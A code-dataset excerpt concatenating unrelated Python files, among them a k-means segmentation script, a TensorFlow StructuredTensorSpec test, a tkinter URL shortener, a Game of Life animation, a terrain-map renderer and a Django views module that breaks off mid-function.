clusterb)\n if avg1 > 0:\n cluster1 = cluster1 + 1\n if cluster1 > 255:\n cluster1 = 255\n elif avg1 < 0:\n cluster1 = cluster1 - 1\n if cluster1 < 0:\n cluster1 = 0\n if avgb > 0:\n clusterb = clusterb + 1\n if clusterb > 255:\n clusterb = 255\n elif avgb < 0:\n clusterb = clusterb - 1\n if clusterb < 0:\n clusterb = 0\n# {\"distance\": 5437045, \"centers\": [94, 161], \"time\": 115.57173490524292}\n# {\"distance\": 5437045, \"centers\": [94, 161], \"time\": 64.89245796203613}\n# {\"distance\": 5439599, \"centers\": [95, 160], \"time\": 27.1616051197052}\n centers, labels, bestsumdistance ,distsuma,distsumb = kmeans2(img,k,cluster1,clusterb,count1,countb,distsuma,distsumb)\n bestcenters = centers\n bestlabels = labels\n iteratecount = 0\n print(bestsumdistance)\n while iteratecount < 125:\n iteratecount = iteratecount + 1\n cluster1 = iteratecount\n clusterb = 255 - iteratecount\n if cluster1 >= 255:\n cluster1 = 255\n if clusterb < 0:\n clusterb = 0\n if clusterb >= 255:\n clusterb = 255\n if cluster1 < 0:\n cluster1 = 0\n centers, labels, newsumdistance ,distsuma,distsumb = kmeans2(img,k,cluster1,clusterb,count1,countb,distsuma,distsumb)\n if newsumdistance < bestsumdistance:\n bestsumdistance = newsumdistance\n bestcenters = centers\n bestlabels = labels\n\n return (bestcenters, bestlabels, bestsumdistance)\n\ndef kmeans2(img,k,cluster1,clusterb,lastcount1,lastcountb,distsuma,distsumb):\n\n\n avg1 = 0\n distsuma = 0\n count1 = 0\n avgb = 0\n distsumb = 0\n countb = 0\n for row in img:\n\n for pixel in row:\n if abs(pixel - cluster1) > abs(pixel - clusterb):\n avgb = avgb + pixel\n countb = countb + 1\n avgb = avgb / countb\n distsumb = distsumb + abs(pixel - clusterb)\n else:\n avg1 = avg1 + pixel\n count1 = count1 + 1\n avg1 = avg1 / count1\n distsuma = distsuma + abs(pixel - cluster1)\n if avg1 > 0:\n cluster1 = cluster1 + 1\n if cluster1 > 255:\n cluster1 = 255\n elif avg1 < 0:\n cluster1 = cluster1 - 1\n if cluster1 < 0:\n cluster1 = 0\n if avgb > 0:\n clusterb = clusterb + 1\n if clusterb > 255:\n clusterb = 255\n elif avgb < 0:\n clusterb = clusterb - 1\n if clusterb < 0:\n clusterb = 0\n if avg1 > 0:\n cluster1 = cluster1 + 1\n if cluster1 > 255:\n cluster1 = 255\n elif avg1 < 0:\n cluster1 = cluster1 - 1\n if cluster1 < 0:\n cluster1 = 0\n if avgb > 0:\n clusterb = clusterb + 1\n if clusterb > 255:\n clusterb = 255\n elif avgb < 0:\n clusterb = clusterb - 1\n if clusterb < 0:\n clusterb = 0\n if count1 == lastcount1:\n return ([cluster1,clusterb],img,distsuma + distsumb,distsuma,distsumb)\n else:\n kmeans2(img,k,cluster1,clusterb,count1,countb,distsuma,distsumb)\n\n\ndef visualize(centers,labels):\n \"\"\"\n Convert the image to segmentation map replacing each pixel value with its center.\n Arg: Clustering center values;\n Clustering labels of all pixels.\n Return: Segmentation map.\n \"\"\"\n # TODO: implement this function.\n newimg = labels\n # newimg = [[0] * len(labels[0])] * len(labels)\n rowcount = -1\n colcount = 0\n for row in labels:\n # newimgrow = []\n rowcount = rowcount + 1\n colcount = -1\n # newimg.append(newimgrow)\n for pixel in row:\n colcount = colcount + 1\n if abs(pixel - centers[0]) > abs(pixel - centers[1]):\n newimg[rowcount][colcount] = centers[1]\n # newimgrow.append(centers[1])\n else:\n newimg[rowcount][colcount] = centers[0]\n # newimgrow.append(centers[0])\n return newimg\n\nif __name__ == \"__main__\":\n img = utils.read_image('lenna.png')\n k = 2\n\n start_time = time.time()\n centers, labels, sumdistance = kmeans(img,k)\n result = visualize(centers, labels)\n end_time = time.time()\n\n running_time = end_time - start_time\n print(running_time)\n\n centers = list(centers)\n with open('results/task1.json', \"w\") as jsonFile:\n jsonFile.write(json.dumps({\"centers\":centers, \"distance\":sumdistance, \"time\":running_time}))\n utils.write_image(result, 'results/task1_result.jpg')\n","repo_name":"KaraThrash/visionclass","sub_path":"proj3/project3/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":6987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35885975029","text":"\nimport random\n\n\nN = int(input('введите число N: '))\nList =[]\nPosishen = 1\n\nwith open('file txt' , 'w') as File:\n Count_Number = random.randrange(1,N)\n for i in range(0,Count_Number):\n File.writelines(str(random.randrange(0,N+1))+ '\\n')\n\nfor i in range(-N,N+1):\n List.append(i)\nprint(List)\n\nwith open('file txt', 'r') as File:\n for line in File:\n Posishen*= List[int(line)]\nprint(f'произведение элементов на позициях = {Posishen}')\n","repo_name":"Kuznetsov7/less","sub_path":"dz4.py","file_name":"dz4.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4005679344","text":"from absl.testing import parameterized\nimport numpy as np\n\n\nfrom tensorflow.python.data.ops import dataset_ops\nfrom tensorflow.python.eager import context\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.framework import tensor_shape\nfrom tensorflow.python.framework import tensor_spec\nfrom tensorflow.python.framework import test_util\nfrom tensorflow.python.framework import type_spec\nfrom tensorflow.python.ops.ragged import ragged_factory_ops\nfrom tensorflow.python.ops.ragged import ragged_tensor\nfrom tensorflow.python.ops.ragged import row_partition\nfrom tensorflow.python.ops.ragged.dynamic_ragged_shape import DynamicRaggedShape\nfrom tensorflow.python.ops.structured import structured_tensor\nfrom tensorflow.python.ops.structured.structured_tensor import StructuredTensor\nfrom tensorflow.python.platform import googletest\n\n\n# TypeSpecs consts for fields types.\nT_3 = tensor_spec.TensorSpec([3])\nT_1_2 = tensor_spec.TensorSpec([1, 2])\nT_1_2_8 = tensor_spec.TensorSpec([1, 2, 8])\nT_1_2_3_4 = tensor_spec.TensorSpec([1, 2, 3, 4])\nT_2_3 = tensor_spec.TensorSpec([2, 3])\nR_1_N = ragged_tensor.RaggedTensorSpec([1, None])\nR_2_N = ragged_tensor.RaggedTensorSpec([2, None])\nR_1_N_N = ragged_tensor.RaggedTensorSpec([1, None, None])\nR_2_1_N = ragged_tensor.RaggedTensorSpec([2, 1, None])\n\n# TensorSpecs for nrows & row_splits in the _to_components encoding.\nNROWS_SPEC = tensor_spec.TensorSpec([], dtypes.int64)\nPARTITION_SPEC = row_partition.RowPartitionSpec()\n\n\n# pylint: disable=g-long-lambda\n@test_util.run_all_in_graph_and_eager_modes\nclass StructuredTensorSpecTest(test_util.TensorFlowTestCase,\n parameterized.TestCase):\n\n # TODO(edloper): Add a subclass of TensorFlowTestCase that overrides\n # assertAllEqual etc to work with StructuredTensors.\n def assertAllEqual(self, a, b, msg=None):\n if not (isinstance(a, structured_tensor.StructuredTensor) or\n isinstance(b, structured_tensor.StructuredTensor)):\n return super(StructuredTensorSpecTest, self).assertAllEqual(a, b, msg)\n if not (isinstance(a, structured_tensor.StructuredTensor) and\n isinstance(b, structured_tensor.StructuredTensor)):\n # TODO(edloper) Add support for this once structured_factory_ops is added.\n raise ValueError('Not supported yet')\n\n self.assertEqual(repr(a.shape), repr(b.shape))\n self.assertEqual(set(a.field_names()), set(b.field_names()))\n for field in a.field_names():\n self.assertAllEqual(a.field_value(field), b.field_value(field))\n\n def assertAllTensorsEqual(self, x, y):\n assert isinstance(x, dict) and isinstance(y, dict)\n self.assertEqual(set(x), set(y))\n for key in x:\n self.assertAllEqual(x[key], y[key])\n\n def testConstruction(self):\n spec1_fields = dict(a=T_1_2_3_4)\n spec1 = StructuredTensor.Spec(\n _ragged_shape=DynamicRaggedShape.Spec(\n row_partitions=[],\n static_inner_shape=tensor_shape.TensorShape([1, 2, 3]),\n dtype=dtypes.int64),\n _fields=spec1_fields)\n self.assertEqual(spec1._shape, (1, 2, 3))\n self.assertEqual(spec1._field_specs, spec1_fields)\n\n spec2_fields = dict(a=T_1_2, b=T_1_2_8, c=R_1_N, d=R_1_N_N, s=spec1)\n spec2 = StructuredTensor.Spec(\n _ragged_shape=DynamicRaggedShape.Spec(\n row_partitions=[],\n static_inner_shape=tensor_shape.TensorShape([1, 2]),\n dtype=dtypes.int64),\n _fields=spec2_fields)\n self.assertEqual(spec2._shape, (1, 2))\n self.assertEqual(spec2._field_specs, spec2_fields)\n\n # Note that there is no error for creating a spec without known rank.\n @parameterized.parameters([\n (None,),\n ({1: tensor_spec.TensorSpec(None)},),\n ({'x': 0},),\n ])\n def testConstructionErrors(self, field_specs):\n with self.assertRaises(TypeError):\n structured_tensor.StructuredTensor.Spec(\n _ragged_shape=DynamicRaggedShape.Spec(\n row_partitions=[],\n static_inner_shape=[],\n dtype=dtypes.int64),\n _fields=field_specs)\n\n def testValueType(self):\n spec1 = StructuredTensor.Spec(\n _ragged_shape=DynamicRaggedShape.Spec(\n row_partitions=[],\n static_inner_shape=[1, 2],\n dtype=dtypes.int64),\n _fields=dict(a=T_1_2))\n self.assertEqual(spec1.value_type, StructuredTensor)\n\n @parameterized.parameters([\n {\n 'shape': [],\n 'fields': dict(x=[[1.0, 2.0]]),\n 'field_specs': dict(x=T_1_2),\n },\n {\n 'shape': [2],\n 'fields': dict(\n a=ragged_factory_ops.constant_value([[1.0], [2.0, 3.0]]),\n b=[[4.0, 5.0, 6.0], [7.0, 8.0, 9.0]]),\n 'field_specs': dict(a=R_2_N, b=T_2_3),\n },\n ]) # pyformat: disable\n def testToFromComponents(self, shape, fields, field_specs):\n struct = StructuredTensor.from_fields(fields, shape)\n spec = StructuredTensor.Spec(_ragged_shape=DynamicRaggedShape.Spec(\n row_partitions=[],\n static_inner_shape=shape,\n dtype=dtypes.int64), _fields=field_specs)\n actual_components = spec._to_components(struct)\n rt_reconstructed = spec._from_components(actual_components)\n self.assertAllEqual(struct, rt_reconstructed)\n\n def testToFromComponentsEmptyScalar(self):\n struct = StructuredTensor.from_fields(fields={}, shape=[])\n spec = struct._type_spec\n components = spec._to_components(struct)\n rt_reconstructed = spec._from_components(components)\n self.assertAllEqual(struct, rt_reconstructed)\n\n def testToFromComponentsEmptyTensor(self):\n struct = StructuredTensor.from_fields(fields={}, shape=[1, 2, 3])\n spec = struct._type_spec\n components = spec._to_components(struct)\n rt_reconstructed = spec._from_components(components)\n self.assertAllEqual(struct, rt_reconstructed)\n\n @parameterized.parameters([\n {\n 'unbatched': lambda: [\n StructuredTensor.from_fields({'a': 1, 'b': [5, 6]}),\n StructuredTensor.from_fields({'a': 2, 'b': [7, 8]})],\n 'batch_size': 2,\n 'batched': lambda: StructuredTensor.from_fields(shape=[2], fields={\n 'a': [1, 2],\n 'b': [[5, 6], [7, 8]]}),\n },\n {\n 'unbatched': lambda: [\n StructuredTensor.from_fields(shape=[3], fields={\n 'a': [1, 2, 3],\n 'b': [[5, 6], [6, 7], [7, 8]]}),\n StructuredTensor.from_fields(shape=[3], fields={\n 'a': [2, 3, 4],\n 'b': [[2, 2], [3, 3], [4, 4]]})],\n 'batch_size': 2,\n 'batched': lambda: StructuredTensor.from_fields(shape=[2, 3], fields={\n 'a': [[1, 2, 3], [2, 3, 4]],\n 'b': [[[5, 6], [6, 7], [7, 8]],\n [[2, 2], [3, 3], [4, 4]]]}),\n },\n {\n 'unbatched': lambda: [\n StructuredTensor.from_fields(shape=[], fields={\n 'a': 1,\n 'b': StructuredTensor.from_fields({'x': [5]})}),\n StructuredTensor.from_fields(shape=[], fields={\n 'a': 2,\n 'b': StructuredTensor.from_fields({'x': [6]})})],\n 'batch_size': 2,\n 'batched': lambda: StructuredTensor.from_fields(shape=[2], fields={\n 'a': [1, 2],\n 'b': StructuredTensor.from_fields(shape=[2], fields={\n 'x': [[5], [6]]})}),\n },\n {\n 'unbatched': lambda: [\n StructuredTensor.from_fields(shape=[], fields={\n 'Ragged3d': ragged_factory_ops.constant_value([[1, 2], [3]]),\n 'Ragged2d': ragged_factory_ops.constant_value([1]),\n }),\n StructuredTensor.from_fields(shape=[], fields={\n 'Ragged3d': ragged_factory_ops.constant_value([[1]]),\n 'Ragged2d': ragged_factory_ops.constant_value([2, 3]),\n })],\n 'batch_size': 2,\n 'batched': lambda: StructuredTensor.from_fields(shape=[2], fields={\n 'Ragged3d': ragged_factory_ops.constant_value(\n [[[1, 2], [3]], [[1]]]),\n 'Ragged2d': ragged_factory_ops.constant_value([[1], [2, 3]]),\n }),\n 'use_only_batched_spec': True,\n },\n ]) # pyformat: disable\n def testBatchUnbatchValues(self,\n unbatched,\n batch_size,\n batched,\n use_only_batched_spec=False):\n batched = batched() # Deferred init because it creates tensors.\n unbatched = unbatched() # Deferred init because it creates tensors.\n\n def unbatch_gen():\n for i in unbatched:\n yield i\n\n ds = dataset_ops.Dataset.from_tensors(batched)\n ds2 = ds.unbatch()\n if context.executing_eagerly():\n v = list(ds2.batch(2))\n self.assertAllEqual(v[0], batched)\n\n if not use_only_batched_spec:\n unbatched_spec = type_spec.type_spec_from_value(unbatched[0])\n\n dsu = dataset_ops.Dataset.from_generator(\n unbatch_gen, output_signature=unbatched_spec)\n dsu2 = dsu.batch(2)\n if context.executing_eagerly():\n v = list(dsu2)\n self.assertAllEqual(v[0], batched)\n\n def _lambda_for_fields(self):\n return lambda: {\n 'a':\n np.ones([1, 2, 3, 1]),\n 'b':\n np.ones([1, 2, 3, 1, 5]),\n 'c':\n ragged_factory_ops.constant(\n np.zeros([1, 2, 3, 1], dtype=np.uint8), dtype=dtypes.uint8),\n 'd':\n ragged_factory_ops.constant(\n np.zeros([1, 2, 3, 1, 3]).tolist(), ragged_rank=1),\n 'e':\n ragged_factory_ops.constant(\n np.zeros([1, 2, 3, 1, 2, 2]).tolist(), ragged_rank=2),\n 'f':\n ragged_factory_ops.constant(\n np.zeros([1, 2, 3, 1, 3]), dtype=dtypes.float32),\n 'g':\n StructuredTensor.from_pyval([[\n [ # pylint: disable=g-complex-comprehension\n [{\n 'x': j,\n 'y': k\n }] for k in range(3)\n ] for j in range(2)\n ]]),\n 'h':\n StructuredTensor.from_pyval([[\n [ # pylint: disable=g-complex-comprehension\n [[\n {\n 'x': j,\n 'y': k,\n 'z': z\n } for z in range(j)\n ]] for k in range(3)\n ] for j in range(2)\n ]]),\n }\n\n\nif __name__ == '__main__':\n googletest.main()\n","repo_name":"tensorflow/tensorflow","sub_path":"tensorflow/python/ops/structured/structured_tensor_spec_test.py","file_name":"structured_tensor_spec_test.py","file_ext":"py","file_size_in_byte":10638,"program_lang":"python","lang":"en","doc_type":"code","stars":178918,"dataset":"github-code","pt":"18"} +{"seq_id":"8908831045","text":"'''✨ Python: Create Dir and File At Given Path Using pathlib module.✨'''\n\nfrom pathlib import Path\n\n\ndef create_directory(path: str) -> None:\n \"\"\"\n Creates a new directory at the given path, if it doesn't already exist.\n \"\"\"\n path_obj = Path(path)\n if not path_obj.exists():\n try:\n path_obj.mkdir(parents=True)\n print(f\"Directory created at {path}\")\n except OSError as e:\n print(f\"Error creating directory at {path}: {e}\")\n\n\ndef create_file(path: str, content: str = '') -> None:\n \"\"\"\n Creates a new file at the given path, if it doesn't already exist.\n If content is provided, it writes the content to the file.\n \"\"\"\n path_obj = Path(path)\n try:\n if not path_obj.is_file():\n with path_obj.open(mode='w') as file:\n file.write(content)\n print(f\"File created at {path}\")\n else:\n print(f\"File already exists at {path}\")\n except OSError as e:\n print(f\"Error creating file at {path}: {e}\")\n\n\n# create a new folder 'test-folder' on the path\n# create_directory(path=\"/path/to/test-folder\")\n# create a new file 'test.py' and add content to it.\ncreate_file(path='/home/ram/CodingMantras/python-day-to-day/local_folder/test-folder',\n content='print(\"Hello World!\")')\n","repo_name":"CodingMantras/python-day-to-day","sub_path":"directory_and_file_creation.py","file_name":"directory_and_file_creation.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"18"} +{"seq_id":"39845264811","text":"import os\nfrom setuptools import setup, find_packages\n\n__version__ = \"\"\npackages = find_packages(exclude=[\"tests*\"])\n\nfn = os.path.join(\"dapodik_webservice\", \"version.py\")\nwith open(fn) as fh:\n code = compile(fh.read(), fn, \"exec\")\n exec(code)\n\n\nsetup(\n name=\"dapodik-webservice\",\n version=__version__,\n author=\"hexatester\",\n license=\"GPLv3\",\n url=\"https://github.com/dapodix/dapodik-webservice\",\n keywords=\"dapodik dapodik-webservice kemdikbud\",\n description=\"SDK Python Web Service aplikasi Dapodik\",\n packages=packages,\n install_requires=[\"python\", \"requests\", \"attrs\"],\n extras_require={\n \"excel\": [\"openpyxl\", \"click\"],\n },\n include_package_data=True,\n classifiers=[\n \"Development Status :: 5 - Production/Stable\",\n \"Intended Audience :: Education\",\n \"License :: OSI Approved :: GNU General Public License v3 (GPLv3)\",\n \"Operating System :: OS Independent\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n \"Programming Language :: Python :: 3.8\",\n \"Programming Language :: Python :: 3.9\",\n ],\n entry_points={\n \"console_scripts\": [\"dapodik-webservice=dapodik_webservice.__main__:main\"]\n },\n)\n","repo_name":"dapodix/dapodik-webservice","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"10161757800","text":"from copy import copy\r\nfrom struct import pack\r\nfrom tokenize import String\r\nimport pyperclip\r\nimport pyshorteners\r\nfrom tkinter import *\r\n\r\n#GUI\r\nroot = Tk()\r\nroot.geometry(\"700x350\")\r\nroot.title(\"URL Shortener Application\")\r\nroot.configure(bg=\"#7CB9E8\")\r\n\r\n#Define Variable for url\r\nurlmain = StringVar()\r\nurlshortmain = StringVar()\r\n\r\n#Define Function\r\ndef urlShortner():\r\n urladdress = urlmain.get()\r\n urlshort = pyshorteners.Shortener().tinyurl.short(urladdress)\r\n urlshortmain.set(urlshort)\r\n\r\ndef copyurl():\r\n urlshort = urlshortmain.get()\r\n pyperclip.copy(urlshort)\r\n\r\n\r\nLabel(root,text=\"URL Shortener App\",font=('Arial', 12)).pack(pady=10)\r\n#Label(root, text=\"Enter URL Here\", font=('Arial', 9)).pack(pady=(25,0))\r\nLabel(root, text=\"Enter URL Here\", font=('Arial', 9)).place(x=75, y=35)\r\nEntry(root,textvariable=urlmain,width=50,font=('Arial 14')).pack(padx=10, pady=10)\r\nButton(root,text=\"Covet\",command=urlShortner, width=10).pack(pady=20)\r\n#Label(root, text=\"Short URL\", font=('Arial', 9)).pack(pady=(20, 0))\r\nLabel(root, text=\"Short URL\", font=('Arial', 9)).place(x=75, y=145)\r\nEntry(root,textvariable=urlshortmain,width=50,font=('Arial 14')).pack(padx=10, pady=10)\r\nButton(root,text=\"Copy\",command=copyurl, width=9).pack(pady=15)\r\n\r\nroot.mainloop()\r\n","repo_name":"akhilkoregithub/syncinterns-task3-url-shortener","sub_path":"url-shortener.py","file_name":"url-shortener.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9190988003","text":"import drawBot as draw\nfrom numpy import array, count_nonzero, zeros, pad\n\nBORN: list = [3]\nLIVE: list = [2, 3]\nBOARD_SIZE = 1000\nFRAME_DURATION = 0.025\n\n\ndef count_adjacent(board: array, pos: tuple) -> int:\n n = board.shape[0]\n x_1 = max(0, pos[0] - 1)\n x_2 = min(n - 1, pos[0] + 1)\n y_1 = max(0, pos[1] - 1)\n y_2 = min(n - 1, pos[1] + 1)\n\n return count_nonzero(board[x_1:x_2 + 1, y_1:y_2 + 1])\n\n\ndef update_board(board: array) -> array:\n n = board.shape[0]\n new_board = zeros(shape=(n, n))\n\n for i in range(n):\n for j in range(n):\n count_adj = count_adjacent(board, (i, j))\n if board[i, j] == 0 and count_adj in BORN:\n new_board[i, j] = 1\n elif board[i, j] == 1 and count_adj - 1 in LIVE:\n new_board[i, j] = 1\n\n return new_board\n\n\ndef draw_board(board: array) -> array:\n n = board.shape[0]\n square_size = BOARD_SIZE / n\n draw.newPage(BOARD_SIZE, BOARD_SIZE)\n draw.frameDuration(FRAME_DURATION)\n for i in range(n):\n for j in range(n):\n if board[i,j] == 0:\n draw.fill(0, 0, 0, 1)\n else:\n draw.fill(255, 255, 255, 1)\n draw.rect(square_size * j, square_size * i, square_size, square_size)\n\n\ndef simulation(steps: int, initialBoard: array) -> None:\n board = array(initialBoard, copy=True)\n for step in range(steps):\n draw_board(board)\n board = update_board(board)\n print(f\"{step+1}/{steps}\")\n draw.saveImage(\"LifeGame.mp4\")\n\n\nboard = array([\n [1, 1, 1, 0, 1, 0, 0, 0],\n [1, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 1, 1, 0, 0, 0],\n [0, 1, 1, 0, 1, 0, 0, 0],\n [1, 0, 1, 0, 1, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0],\n])\n\nif __name__ == \"__main__\":\n board = pad(board,pad_width=46)\n simulation(800,board)\n","repo_name":"alexfdez1010/CodeArt","sub_path":"LifeGame.py","file_name":"LifeGame.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"44836632518","text":"import numpy\nfrom pandas import read_csv\ndataset = read_csv('C:/Users/310297830/Desktop/data set/pima-indians-diabetes.data.csv', header=None)\n# mark zero values as missing or NaN\ndataset[[1,2,3,4,5]] = dataset[[1,2,3,4,5]].replace(0, numpy.NaN)\n# drop rows with missing values\ndataset.dropna(inplace=True)\n# summarize the number of rows and columns in the dataset\n\nprint(\"Dataset size after removing missing values\")\nprint(dataset.shape)\nprint(\"\")\nprint(\"\")\nprint(\"The first 20 rows after removing the missing rows are displayed\")\nprint(\"\")\nprint(dataset.head(20))\nprint(\"\")\nprint(\"\")\nfrom pandas import read_csv\nimport numpy\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.model_selection import KFold\nfrom sklearn.model_selection import cross_val_score\ndataset = read_csv('C:/Users/310297830/Desktop/data set/pima-indians-diabetes.data.csv', header=None)\n# mark zero values as missing or NaN\ndataset[[1,2,3,4,5]] = dataset[[1,2,3,4,5]].replace(0, numpy.NaN)\n# drop rows with missing values\ndataset.dropna(inplace=True)\n# split dataset into inputs and outputs\nvalues = dataset.values\nX = values[:,0:8]\ny = values[:,8]\n# evaluate an LDA model on the dataset using k-fold cross validation\nmodel = LinearDiscriminantAnalysis()\nkfold = KFold(n_splits=3, random_state=7)\nresult = cross_val_score(model, X, y, cv=kfold, scoring='accuracy')\nprint(\"The accuracy obtained is\")\nprint(result.mean())","repo_name":"sahanapatil/PROJECT","sub_path":"RMV.py","file_name":"RMV.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12801516591","text":"#\n# @lc app=leetcode id=2154 lang=python3\n#\n# [2154] Keep Multiplying Found Values by Two\n#\n\n# @lc code=start\nclass Solution:\n def findFinalValue(self, nums: List[int], original: int) -> int:\n nums.sort()\n for i in nums:\n if i== original:\n original=original*2\n return original\n\n# @lc code=end\n\n","repo_name":"cuuchuoiii/leetcode_LeDucChung","sub_path":"bai_2154.py","file_name":"bai_2154.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"32476545126","text":"from PIL import Image\r\nimport numpy as np\r\nimport math\r\nimport time\r\n\r\nclass CSMap:\r\n def __init__(self, dem, unit, image_size=[256, 256]):\r\n self.unit = float(unit)\r\n self.image_size_x = image_size[0]\r\n self.image_size_y = image_size[1]\r\n if not isinstance(dem, np.ndarray):\r\n dem = np.array(dem)\r\n dem = np.r_[dem[0].reshape(1, len(dem[0])), dem]\r\n dem = np.r_[dem, dem[self.image_size_y].reshape(1, len(dem[self.image_size_y]))]\r\n dem = np.c_[dem[:,0].reshape(len(dem[:,0]), 1), dem]\r\n dem = np.c_[dem, dem[:,self.image_size_x].reshape(len(dem[:,self.image_size_x]), 1)]\r\n self.dem = dem\r\n\r\n def _slope(self):\r\n\r\n dem = self.dem / self.unit\r\n\r\n y = (dem[2:, 1:-1] * 2.0 + dem[2:, 2:] + dem[2:, :-2]) - (dem[:-2, 1:-1] * 2.0 + dem[:-2, :-2] + dem[:-2, 2:])\r\n x = (dem[1:-1, 2:] * 2.0 + dem[:-2, 2:] + dem[2:, 2:]) - (dem[1:-1, :-2] * 2.0 + dem[:-2, :-2] + dem[2:, :-2])\r\n\r\n z = x * x + y * y\r\n\r\n re_slope = (np.arctan(np.sqrt(z)) / math.pi) * 2.0 * 256.0\r\n return re_slope\r\n\r\n def _curvature(self):\r\n dem = self.dem * 255.0 / self.unit\r\n\r\n c = np.zeros((self.image_size_y, self.image_size_x)) + 127\r\n c += dem[1:-1, 1:-1] * 4\r\n c -= dem[:-2, 1:-1]\r\n c -= dem[2:, 1:-1]\r\n c -= dem[1:-1, :-2]\r\n c -= dem[1:-1, 2:]\r\n\r\n return c\r\n\r\n\r\n def cs_draw(self):\r\n startall_time = time.time()\r\n slope_img = Image.new('RGBA', (self.image_size_x, self.image_size_y), (0, 0, 0, 0))\r\n curvature_img = Image.new('RGBA', (self.image_size_x, self.image_size_y), (0, 0, 0, 0))\r\n start_time = time.time()\r\n c1_list = self._slope()\r\n #print 'Slope : ' + str(time.time() - start_time) + 'sec'\r\n start_time = time.time()\r\n c2_list = self._curvature()\r\n #print 'Curvature : ' + str(time.time() - start_time) + 'sec'\r\n start_time = time.time()\r\n\r\n slope_array = np.zeros((self.image_size_y, self.image_size_x, 4))\r\n curvature_array = np.zeros((self.image_size_y, self.image_size_x, 4))\r\n\r\n slope_array[:, :, 0] = np.where(c1_list < 160.0, (255 + (255 - 255) * (c1_list / 160.0)), (255 + (51 - 255) * ((c1_list - 160.0) / (255.0 - 160.0))))\r\n slope_array[:, :, 1] = np.where(c1_list < 160.0, (255 + (51 - 255) * (c1_list / 160.0)), (51 + (0 - 51) * ((c1_list - 160.0) / (255.0 - 160.0))))\r\n slope_array[:, :, 2] = np.where(c1_list < 160.0, (255 + (0 - 255) * (c1_list / 160.0)), (0 + (0 - 0) * ((c1_list - 160.0) / (255.0 - 160.0))))\r\n slope_array[:, :, 3] = 255 * 0.5\r\n slope_array = np.where(slope_array < 0, 0, slope_array)\r\n slope_array = np.where(slope_array > 255, 255, slope_array)\r\n\r\n curvature_array[:, :, 0] = np.where(c2_list < 128.0, (0 + (68 - 0) * (c2_list / 128.0)), (68 + (255 - 68) * ((c2_list - 128.0) / (255.0 - 128.0))))\r\n curvature_array[:, :, 1] = np.where(c2_list < 128.0, (0 + (68 - 0) * (c2_list / 128.0)), (68 + (255 - 68) * ((c2_list - 128.0) / (255.0 - 128.0))))\r\n curvature_array[:, :, 2] = np.where(c2_list < 128.0, (0 + (255 - 0) * (c2_list / 128.0)), (255 + (255 - 255) * ((c2_list - 128.0) / (255.0 - 128.0))))\r\n curvature_array[:, :, 3] = 255\r\n curvature_array = np.where(curvature_array < 0, 0, curvature_array)\r\n curvature_array = np.where(curvature_array > 255, 255, curvature_array)\r\n\r\n slope_img = Image.fromarray(np.uint8(slope_array))\r\n curvature_img = Image.fromarray(np.uint8(curvature_array))\r\n\r\n cs_img = Image.alpha_composite(curvature_img, slope_img)\r\n return cs_img\r\n\r\n\r\n","repo_name":"makinux/PyCsmap","sub_path":"CSMap.py","file_name":"CSMap.py","file_ext":"py","file_size_in_byte":3673,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"4239816944","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.urls import reverse_lazy\nfrom django.contrib.auth.views import LoginView, LogoutView\nfrom .forms import AuthLoginForm, MeasureForm\nfrom .models import Measure\n\n\n# AccessChecker\ndef check_access(requested_groups, number):\n groups = []\n for group in requested_groups:\n groups.append(group.id)\n if number in groups:\n return True\n else:\n return False\n\n\ndef access_denied(request):\n template = 'mainapp/access_denied.html'\n return render(request, template)\n# End AccessChecker\n\n\ndef group_list(groups):\n list_of_groups = []\n for group in groups:\n list_of_groups.append(group.id)\n return list_of_groups\n\n\ndef index(request):\n if request.user.is_authenticated:\n if request.user.username == 'admin':\n template = 'mainapp/index.html'\n return render(request, template)\n if check_access(request.user.groups.all(), 4):\n return redirect('customers:customer_list')\n elif check_access(request.user.groups.all(), 5):\n return redirect('customers:customer_list')\n else:\n return redirect('/tender/')\n else:\n return redirect('/auth/')\n\n\ndef workers_list(request):\n return render(request, 'mainapp/index.html')\n\n\ndef auth(request):\n return render(request, 'mainapp/auth.html')\n\n\ndef auth_check(request):\n username = request.POST('username')\n password = request.POST('password')\n print(username)\n print(password)\n return redirect('/')\n\n\nclass AuthLoginView(LoginView):\n template_name = 'mainapp/auth.html'\n form_class = AuthLoginForm\n success_url = reverse_lazy('mainapp:index')\n\n def get_success_url(self):\n return self.success_url\n\n\nclass AuthLogoutView(LogoutView):\n next_page = reverse_lazy('mainapp:auth')\n\n\ndef measures_list(request):\n measures = Measure.objects.all().order_by('name')\n context = {\n 'measures': measures,\n }\n return render(request, 'mainapp/measures_list.html', context)\n\n\ndef measures_add(request):\n if request.method == 'POST':\n form = MeasureForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('/measures/')\n return render(request, 'mainapp/measures_add.html')\n\n\ndef 